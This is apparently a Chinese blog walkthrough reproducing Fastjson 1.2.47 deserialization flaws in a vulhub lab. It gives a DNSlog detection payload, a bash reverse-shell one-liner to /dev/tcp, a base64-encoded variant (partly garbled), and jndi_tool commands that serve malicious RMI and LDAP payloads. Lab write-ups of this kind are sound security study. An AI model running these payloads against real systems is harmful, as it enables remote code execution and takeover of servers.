FastJson漏洞复现
FastJson漏洞复现
环境:vulhub/fastjson
Fastjson是阿里巴巴公司开源的一个高性能的Java库,专门用于处理JSON数据格式。
它不仅能够将Java对象序列化为JSON格式的字符串,还能将JSON字符串反序列化为Java对象。
漏洞发现
- 出现
json
格式的地方,就可能使用FastJsson
1.通过报错页面可以识别使用FastJsson

2.再通过DNSlog平台确认存在漏洞
- 打开DNSlog平台成临时子域名:http://dnslog.cn/

- bp抓包,将请求体改为以下内容并发送,发现返回DNS地址
{
"@type":"java.net.Inet4Address",
"val":"qoxjdd.dnslog.cn"
}

FastJs0n-1.2.47(反序列化)
原理:
fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
影响版本:
Fastjson1.2.48之前
这里直接利用工具jndi_tool(需要jdk8环境)
https://github.com/wyzxxz/jndi_tool
利用一:JNDI注入+RMI
JNDl(The Java Naming and Directory Interface,Java 命名和目录接口):一组在 Java 应用中访问命名和目录服务的API,命名服务将名称和对象联系起来,使得可以用名称访问对象。
RMI:Java远程方法调用,是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。使客户机上运行的程序可以调用远程服务器上的对象。
- 反弹shell语句为:
bash -i >& /dev/tcp/8.8.8.8/4444 0>&1
- 在java中需要对其进行base64编码(大括号内不能有空格):
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjguOC44LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}
- 使用工具生成payload,并开启
9999
端口的监听:
java -cp jndi_tool.jar jndi.HRMIServer 攻击机ip 端口"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjIx0S4xNjEu0Dgv0TA5MCAwPiYx}|{base64,-d}|{bash,-i}"

- 把payload通过bp发送给靶机,注意必须更改为
POST
请求和Content-Type

- 攻击机开启端口监听,即可收到shell

利用二:JNDI注入+LDAP
LDAP是轻量级目录访问协议
- 基本用法不变,只是将
jndi.HRMIServer
改为jndi.HLDAPServer
java -cp jndi_tool.jar jndi.HLDAPServer 攻击机ip 端口"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjIx0S4xNjEu0Dgv0TA5MCAwPiYx}|{base64,-d}|{bash,-i}"

- 把payload通过bp发送给靶机,注意必须更改为
POST
请求和Content-Type

- 攻击机开启端口监听,即可收到shell

其他利用工具:
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· winform 绘制太阳,地球,月球 运作规律
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理